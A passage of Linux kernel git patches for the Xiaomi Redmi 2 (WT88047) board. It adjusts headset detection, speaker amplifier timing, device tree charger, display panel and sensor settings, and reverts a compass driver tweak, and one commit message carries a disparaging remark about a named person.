+4066,10 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, MSM8X16_WCD_A_CDC_RX2_B6_CTL, 0x01, 0x00); } #ifdef CONFIG_MACH_WT88047 - // TODO: Is hadset connected? - gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, true); + if (state) + schedule_delayed_work(&analog_switch_enable, msecs_to_jiffies(500)); + else + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, false); #endif break; @@ -5477,6 +5505,18 @@ static int msm8x16_wcd_codec_probe(struct snd_soc_codec *codec) wcd_mbhc_init(&msm8x16_wcd_priv->mbhc, codec, &mbhc_cb, &intr_ids, wcd_mbhc_registers, true); +#ifdef CONFIG_MACH_WT88047 + accdet_data.name = "h2w"; + accdet_data.index = 0; + accdet_data.state = 0; + + ret = switch_dev_register(&accdet_data); + if (ret) { + dev_err(codec->dev, "%s: Failed to register h2w\n", __func__); + return -ENOMEM; + } +#endif + msm8x16_wcd_priv->mclk_enabled = false; msm8x16_wcd_priv->clock_active = false; msm8x16_wcd_priv->config_mode_active = false; @@ -5499,9 +5539,27 @@ static int msm8x16_wcd_codec_probe(struct snd_soc_codec *codec) registered_codec = NULL; return -ENOMEM; } + +#ifdef CONFIG_MACH_WT88047 + INIT_DELAYED_WORK(&analog_switch_enable, msm8x16_analog_switch_delayed_enable); +#endif return 0; } +#ifdef CONFIG_MACH_WT88047 +void msm8x16_wcd_codec_set_headset_state(u32 state) +{ + switch_set_state((struct switch_dev *)&accdet_data, state); + accdet_state = state; +} + +int msm8x16_wcd_codec_get_headset_state(void) +{ + pr_debug("%s accdet_state = %d\n", __func__, accdet_state); + return accdet_state; +} +#endif + static int msm8x16_wcd_codec_remove(struct snd_soc_codec *codec) { struct msm8x16_wcd_priv *msm8x16_wcd_priv = diff --git a/sound/soc/codecs/wcd-mbhc-v2.c b/sound/soc/codecs/wcd-mbhc-v2.c index d563100c3c723..526fc7a6ce7a6 100644 --- a/sound/soc/codecs/wcd-mbhc-v2.c +++ b/sound/soc/codecs/wcd-mbhc-v2.c @@ -558,6 +558,9 @@ static void wcd_mbhc_report_plug(struct wcd_mbhc *mbhc, int insertion, jack_type, mbhc->hph_status); wcd_mbhc_jack_report(mbhc, &mbhc->headset_jack, mbhc->hph_status, WCD_MBHC_JACK_MASK); +#ifdef CONFIG_MACH_WT88047 + msm8x16_wcd_codec_set_headset_state(mbhc->hph_status); +#endif wcd_mbhc_set_and_turnoff_hph_padac(mbhc); hphrocp_off_report(mbhc, SND_JACK_OC_HPHR); hphlocp_off_report(mbhc, SND_JACK_OC_HPHL); @@ -661,6 +664,9 @@ static void wcd_mbhc_report_plug(struct wcd_mbhc *mbhc, int insertion, (mbhc->hph_status | SND_JACK_MECHANICAL), WCD_MBHC_JACK_MASK); wcd_mbhc_clr_and_turnon_hph_padac(mbhc); +#ifdef CONFIG_MACH_WT88047 + msm8x16_wcd_codec_set_headset_state(mbhc->hph_status); +#endif } pr_debug("%s: leave hph_status %x\n", __func__, mbhc->hph_status); } diff --git a/sound/soc/codecs/wcd-mbhc-v2.h b/sound/soc/codecs/wcd-mbhc-v2.h index 500e474d2c9ec..ce4f4594d0cb0 100644 --- a/sound/soc/codecs/wcd-mbhc-v2.h +++ b/sound/soc/codecs/wcd-mbhc-v2.h @@ -508,4 +508,8 @@ static inline int wcd_mbhc_get_impedance(struct wcd_mbhc *mbhc, } #endif void wcd_mbhc_deinit(struct wcd_mbhc *mbhc); +#ifdef CONFIG_MACH_WT88047 +extern void msm8x16_wcd_codec_set_headset_state(u32 state); +extern int msm8x16_wcd_codec_get_headset_state(void); +#endif #endif /* __WCD_MBHC_V2_H__ */ diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index 25afeb83fe064..dc7ee387aa870 100755 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -404,18 +404,18 @@ static void msm8x16_ext_spk_delayed_enable(struct work_struct *work) int i; gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 0); - usleep_range(13000, 15000); + usleep_range(3000, 5000); gpio_direction_output(EXT_SPK_AMP_GPIO, 1); usleep_range(13000, 15000); - for(i = 5; i; --i) - { + for (i = 0; i < 1; i++) { gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(100, 105); + usleep_range(13000, 15000); gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(100, 105); + usleep_range(3000, 5000); } gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); + usleep_range(13000, 15000); pr_info("%s: Enable external speaker PAs.\n", __func__); } @@ -429,14 +429,14 @@ static void msm8x16_ext_spk_delayed_dualmode(struct work_struct *work) gpio_direction_output(EXT_SPK_AMP_GPIO, 1); usleep_range(13000, 15000); - for(i = 5; i; --i) - { + for (i = 0; i < 1; i++) { gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(100, 105); + usleep_range(13000, 15000); gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(100, 105); + usleep_range(3000, 5000); } gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); + usleep_range(13000, 15000); pr_info("%s: Enable external speaker PAs dualmode.\n", __func__); } @@ -668,13 +668,14 @@ static int lineout_status_get(struct snd_kcontrol *kcontrol, static int lineout_status_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { - pr_info("%s: external speaker PA mode: %ld\n", __func__, ucontrol->value.integer.value[0]); + pr_debug("%s: external speaker PA mode: %ld\n", __func__, ucontrol->value.integer.value[0]); switch (ucontrol->value.integer.value[0]) { case 0: gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); usleep_range(3000, 5000); gpio_direction_output(EXT_SPK_AMP_GPIO , 0); + usleep_range(3000, 5000); break; case 1: schedule_delayed_work(&lineout_amp_enable, msecs_to_jiffies(100)); From 7a1d22ff91118c9c8628ef66351c9a7ece82225b Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 31 Jan 2016 14:26:17 +0700 Subject: [PATCH 070/365] ARM: dts: wt88047: Sync device tree source * DTB from stock Lollipop boot image * Extracted using a guide dedicated for the GPL violator Hugo Barra * He useless for Linux/Redmi 2 community Change-Id: I1d25e0b523555293874006f593c210c257166843 --- arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 41 ++++++++++--- .../wt88047/dsi-panel-nt35521-720p-video.dtsi | 10 +-- .../dsi-panel-otm1285a-otp-720p-video.dtsi | 2 +- .../wt88047/dsi-panel-r61308-720p-video.dtsi | 17 +++--- .../dsi-panel-r61308-s88047a1-720p-video.dtsi | 11 ++-- .../wt88047/dsi-panel-r69431-720p-video.dtsi | 2 +- .../msm8916-camera-sensor-wt88047.dtsi | 10 +-- .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 61 +++++++++++++++---- 8 files changed, 107 insertions(+), 47 deletions(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts index c90ca6285c940..4a0c33cef6e43 100644 --- a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -17,9 +17,9 @@ #include "wt88047/msm8916-wt88047.dtsi" / { - model = "Qualcomm Technologies, Inc. MSM 8916 WT88047"; - compatible = "qcom,msm8916-qrd", "qcom,msm8916", "qcom,qrd"; - qcom,board-id = <0x1010b 7>; + model = "Qualcomm Technologies, Inc. MSM 8916 QRD SKUI"; + compatible = "qcom,msm8916-qrd-wt88047", "qcom,msm8916-qrd", "qcom,msm8916", "qcom,qrd"; + qcom,board-id = <0x1010b 7 0x1000b 12 0x1010b 12 0x3010b 12>; }; &soc { @@ -40,11 +40,11 @@ qcom,fg-ibatt-standby-ma = <200>; qcom,fg-cc-to-cv-mv = <4328>; qcom,fg-auto-recharge-soc = <99>; + qcom,warm-recharge-thresh-mv = <200>; qcom,thermistor-c1-coeff = <0x85d2>; qcom,float-voltage-mv = <4350>; - qcom,iterm-ma = <200>; - qcom,recharge-thresh-mv = <100>; - qcom,warm-recharge-thresh-mv = <200>; + qcom,iterm-ma = <100>; + qcom,otg-batt-curr-limit = <950>; qcom,thermal-mitigation = <1500 700 600 0>; qcom,config-hard-thresholds; qcom,hot-bat-decidegc = <600>; @@ -58,6 +58,8 @@ qcom,cool-bat-ma = <600>; regulator-name = "smb1360_otg_vreg"; qcom,shdn-after-pwroff; + qcom,fg-reset-at-pon; + qcom,fg-reset-thresold-mv = <100>; }; }; @@ -110,12 +112,28 @@ }; &pm8916_chg { + qcom,vddmax-mv = <4350>; + qcom,vddsafe-mv = <4350>; + qcom,vinmin-mv = <4470>; + qcom,thermal-mitigation = <1440 1150 460 0>; + qcom,cool-bat-decidegc = <150>; + qcom,cool-bat-mv = <4350>; + qcom,warm-bat-mv = <4350>; + qcom,ibatmax-warm-ma = <1150>; + qcom,ibatmax-cool-ma = <460>; + qcom,batt-hot-percentage = <35>; + qcom,batt-cold-percentage = <70>; + qcom,tchg-mins = <512>; + qcom,resume-soc = <99>; status = "ok"; qcom,use-external-charger; }; &pm8916_bms { status = "ok"; + qcom,v-cutoff-uv = <3300000>; + qcom,max-voltage-uv = <4350000>; + qcom,shutdown-soc-valid-limit = <10>; qcom,disable-bms; }; @@ -132,7 +150,7 @@ qcom,vibrator@c000 { status = "okay"; qcom,vib-timeout-ms = <15000>; - qcom,vib-vtg-level-mV = <2700>; + qcom,vib-vtg-level-mV = <3000>; }; }; }; @@ -142,8 +160,13 @@ qcom,qpnp-rtc-alarm-pwrup = <1>; }; +&pm8916_l11 { + regulator-max-microvolt = <3300000>; + qcom,init-voltage = <3000000>; +}; + &pm8916_l16 { - qcom,init-voltage = <2800000>; + qcom,init-voltage = <1800000>; regulator-always-on; }; @@ -189,5 +212,5 @@ }; &apc_vreg_corner { - qcom,cpr-voltage-floor = <1050000 1100000 1250000>; + qcom,cpr-voltage-floor = <1050000 1050000 1162500>; }; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi index da7c673faf639..7c1b64c7bf187 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi @@ -38,14 +38,8 @@ qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; qcom,mdss-dsi-pixel-packing = "tight"; - qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 f0 55 aa 52 08 00 - 39 01 00 00 00 00 02 c8 00 - 39 01 00 00 00 00 06 f0 55 aa 52 08 01 - 39 01 00 00 00 00 03 b5 04 04 - 39 01 00 00 00 00 03 b9 35 35 - 39 01 00 00 00 00 03 ba 25 25 05 01 00 00 78 00 02 11 00 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 - 05 01 00 00 00 00 02 10 00]; + qcom,mdss-dsi-on-command = <0x39010000 0x6f0 0x55aa5208 0x390100 0x2 0xc8003901 0x0 0x6f055aa 0x52080239 0x1000000 0x5ef11 0x8161939 0x1000000 0x6f055 0xaa520801 0x39010000 0x3b5 0x4043901 0x0 0x3b93535 0x39010000 0x3ba 0x25250501 0x7800 0x2110005 0x1000000 0x22900>; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 00 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <1>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi index ac623632f4051..0111a3fe8d566 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi @@ -38,7 +38,7 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 29 01 00 00 78 00 01 11 29 01 00 00 00 00 02 00 00 29 01 00 00 0a 00 01 29]; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 04 ff 12 85 01 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 03 ff 12 85 29 01 00 00 00 00 02 00 00 29 01 00 00 78 00 01 11 29 01 00 00 00 00 02 00 00 29 01 00 00 0a 00 01 29]; qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi index 414d5fd46d116..a80b80cc04605 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi @@ -23,12 +23,12 @@ qcom,mdss-dsi-panel-height = <1280>; qcom,mdss-pan-physical-width-dimension = <58>; qcom,mdss-pan-physical-height-dimension = <103>; - qcom,mdss-dsi-h-front-porch = <148>; + qcom,mdss-dsi-h-front-porch = <120>; qcom,mdss-dsi-h-back-porch = <50>; qcom,mdss-dsi-h-pulse-width = <2>; qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <11>; - qcom,mdss-dsi-v-front-porch = <4>; + qcom,mdss-dsi-v-back-porch = <14>; + qcom,mdss-dsi-v-front-porch = <6>; qcom,mdss-dsi-v-pulse-width = <1>; qcom,mdss-dsi-h-left-border = <0>; qcom,mdss-dsi-h-right-border = <0>; @@ -38,7 +38,7 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 28 00 02 29 00]; + qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 0a 00 02 29 00]; qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; @@ -52,10 +52,11 @@ qcom,mdss-dsi-panel-timings = [9b 22 18 00 4a 4c 1c 26 1d 03 04 00]; qcom,mdss-dsi-t-clk-post = <0x4>; qcom,mdss-dsi-t-clk-pre = <0x1f>; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 00 00 02 0a 08]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-tx-eot-append; qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-panel-status-value = <0x1c>; + qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0a 08]; + qcom,mdss-dsi-panel-status-value = <0x1 0x1c>; qcom,mdss-dsi-bl-min-level = <1>; qcom,mdss-dsi-bl-max-level = <255>; qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; @@ -64,5 +65,7 @@ qcom,mdss-dsi-mdp-trigger = "none"; qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + qcom,mdss-dsi-lp11-init; + qcom,mdss-dsi-init-delay-us = <50000>; }; }; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi index 60d72adcb623a..0e5794c622b4e 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi @@ -38,7 +38,7 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 28 00 02 29 00]; + qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 0a 00 02 29 00]; qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; @@ -52,10 +52,11 @@ qcom,mdss-dsi-panel-timings = [a8 26 1a 00 50 54 1E 2a 1E 03 04 00]; qcom,mdss-dsi-t-clk-post = <0x03>; qcom,mdss-dsi-t-clk-pre = <0x21>; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 00 00 02 0A 08]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-tx-eot-append; qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-panel-status-value = <0x1c>; + qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0a 08]; + qcom,mdss-dsi-panel-status-value = <0x1 0x1c>; qcom,mdss-dsi-bl-min-level = <1>; qcom,mdss-dsi-bl-max-level = <255>; qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; @@ -64,5 +65,7 @@ qcom,mdss-dsi-mdp-trigger = "none"; qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + qcom,mdss-dsi-lp11-init; + qcom,mdss-dsi-init-delay-us = <50000>; }; }; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi index 4fdae7836c80d..85e96132346b4 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi @@ -12,7 +12,7 @@ &mdss_mdp { dsi_r69431_720p_video: qcom,mdss_dsi_r69431_720p_video { - qcom,mdss-dsi-panel-name = "r69431_HD720_video_sharp"; + qcom,mdss-dsi-panel-name = "r69431_HD720p_video_sharp"; qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; qcom,mdss-dsi-panel-type = "dsi_video_mode"; qcom,mdss-dsi-panel-destination = "display_1"; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi index 98c7e46231679..bf79e270b1a5e 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi @@ -81,8 +81,8 @@ cam_vio-supply = <&pm8916_l6>; cam_vana-supply = <&pm8916_l17>; cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-type = <0 0 0 0>; qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; + qcom,cam-vreg-type = <0 0 0 0>; qcom,cam-vreg-min-voltage = <1200000 1800000 2850000 2800000>; qcom,cam-vreg-max-voltage = <1200000 1800000 2850000 2800000>; qcom,cam-vreg-op-mode = <200000 200000 80000 100000>; @@ -136,11 +136,11 @@ qcom,eeprom-src = <&eeprom0>; qcom,led-flash-src = <&led_flash0>; cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; cam_vana-supply = <&pm8916_l17>; + cam_vio-supply = <&pm8916_l6>; cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-type = <0 1 0 0>; qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; + qcom,cam-vreg-type = <0 1 0 0>; qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; qcom,cam-vreg-op-mode = <200000 0 80000 100000>; @@ -178,11 +178,11 @@ qcom,csid-sd-index = <1>; qcom,mount-angle = <90>; cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; cam_vana-supply = <&pm8916_l17>; + cam_vio-supply = <&pm8916_l6>; cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-type = <0 1 0 0>; qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; + qcom,cam-vreg-type = <0 1 0 0>; qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; qcom,cam-vreg-op-mode = <200000 0 80000 100000>; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 6f7497c6d107d..a0e9051d2fc59 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -130,22 +130,10 @@ qcom,vin-sel = <0>; /* VPH_PWR */ qcom,master-en = <1>; /* Enable MPP */ }; - - mpp@a100 { /* MPP 2 */ - /* HR LED */ - qcom,mode = <4>; - qcom,invert = <0>; - qcom,output-type = <0>; - qcom,vin-sel = <2>; - qcom,src-sel = <0>; - qcom,ain-route = <1>; - qcom,master-en = <1>; - }; }; &mdss_mdp { qcom,mdss-pref-prim-intf = "dsi"; - qcom,vbif-settings = <0x4 0x1>, <0xd8 0x707>, <0x124 0x3>; mdss_fb0: qcom,mdss_fb_primary { /* Ketut P. Kumajaya: For old bootloader, old splash image */ @@ -158,9 +146,21 @@ &pmx_mdss { qcom,num-grp-pins = <1>; qcom,pins = <&gp 25>; + mdss_dsi_active: active { + drive-strength = <8>; /* 8 mA */ + bias-disable = <0>; /* no pull */ + output-high; + }; + mdss_dsi_suspend: suspend { + drive-strength = <2>; /* 2 mA */ + bias-pull-down; /* pull down */ + output-low; + }; }; &mdss_dsi0 { + qcom,platform-regulator-settings = [02 09 03 00 20 00 01]; + qcom,dsi-pref-prim-pan = <&dsi_r69431_720p_video>; qcom,dsi-pref-sub-pan = <&dsi_nt35521_720p_video>; qcom,dsi-pref-sub1-pan = <&dsi_otm1285a_720p_video>; @@ -226,6 +226,38 @@ bias-pull-down; }; }; + + fan-otg-pin { + qcom,pins = <&gp 114>; + qcom,num-grp-pins = <1>; + qcom,pin-func = <0>; + label = "fan-otg-pin"; + otg_pin_high: otg_pin_high { + drive-strength = <2>; + bias-pull-up; + output-high; + }; + otg_pin_low: otg_pin_low { + drive-strength = <2>; + bias-pull-down; + output-low; + }; + }; + + akm_reset_pin { + qcom,pins = <&gp 36>; + qcom,pin-func = <0>; + qcom,num-grp-pins = <1>; + label = "akm_reset_pin"; + akm_default: akm_default { + drive-strength = <6>; + bias-pull-up; + }; + akm_sleep: akm_sleep { + drive-strength = <2>; + bias-pull-down; + }; + }; }; &i2c_0 { /* BLSP1 QUP2 */ @@ -270,9 +302,13 @@ akm@c { compatible = "ak,ak09911"; reg = <0xc>; + pinctrl-names = "default", "sleep"; + pinctrl-0 = <&akm_default>; + pinctrl-1 = <&akm_sleep>; vdd-supply = <&pm8916_l17>; vio-supply = <&pm8916_l6>; akm,layout = <0x6>; + akm,gpio_rstn = <&msm_gpio 36 0x0>; akm,auto-report; }; @@ -281,6 +317,7 @@ reg = <0x2e>; vdd-supply = <&pm8916_l17>; vio-supply = <&pm8916_l6>; + yas,position = <5>; }; }; From d113b884d7c63599e11c619b9b1e9d5ce49f3d7b Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 31 Jan 2016 20:15:03 +0700 Subject: [PATCH 071/365] Revert "input: akm09911: Modify AKM09911 for WT88047" * With updated DTS, no need this modification anymore This reverts commit a35320e676c2dfeadaf170a61980e778d2c233f8. Change-Id: I23557518dfa16c9a4ebe0c727370cbac590b4016 --- drivers/input/misc/akm09911.c | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/drivers/input/misc/akm09911.c b/drivers/input/misc/akm09911.c index a761ef300f74d..72166e119c17a 100644 --- a/drivers/input/misc/akm09911.c +++ b/drivers/input/misc/akm09911.c @@ -37,11 +37,7 @@ #include #define AKM_DEBUG_IF 0 -#ifdef CONFIG_MACH_WT88047 -#define AKM_HAS_RESET 0 -#else #define AKM_HAS_RESET 1 -#endif #define AKM_INPUT_DEVICE_NAME "compass" #define AKM_DRDY_TIMEOUT_MS 100 #define AKM_BASE_NUM 10 @@ -1507,11 +1503,9 @@ static int akm_compass_suspend(struct device *dev) if (akm->state.power_on) akm_compass_power_set(akm, false); -#ifndef CONFIG_MACH_WT88047 ret = pinctrl_select_state(akm->pinctrl, akm->pin_sleep); if (ret) dev_err(dev, "Can't select pinctrl state\n"); -#endif dev_dbg(&akm->i2c->dev, "suspended\n"); @@ -1524,11 +1518,9 @@ static int akm_compass_resume(struct device *dev) int ret = 0; uint8_t mode; -#ifndef CONFIG_MACH_WT88047 ret = pinctrl_select_state(akm->pinctrl, akm->pin_default); if (ret) dev_err(dev, "Can't select pinctrl state\n"); -#endif if (akm->state.power_on) { ret = akm_compass_power_set(akm, true); @@ -1749,13 +1741,11 @@ static int akm_compass_parse_dt(struct device *dev, akm->gpio_rstn = of_get_named_gpio_flags(dev->of_node, "akm,gpio_rstn", 0, NULL); -#if AKM_HAS_RESET if (!gpio_is_valid(akm->gpio_rstn)) { dev_err(dev, "gpio reset pin %d is invalid.\n", akm->gpio_rstn); return -EINVAL; } -#endif return 0; } @@ -1767,7 +1757,6 @@ static int akm_compass_parse_dt(struct device *dev, } #endif /* !CONFIG_OF */ -#ifndef CONFIG_MACH_WT88047 static int akm_pinctrl_init(struct akm_compass_data *akm) { struct i2c_client *client = akm->i2c; @@ -1792,7 +1781,6 @@ static int akm_pinctrl_init(struct akm_compass_data *akm) return 0; } -#endif static int akm_report_data(struct akm_compass_data *akm) { @@ -2196,7 +2184,6 @@ int akm_compass_probe(struct i2c_client *client, const struct i2c_device_id *id) /* set client data */ 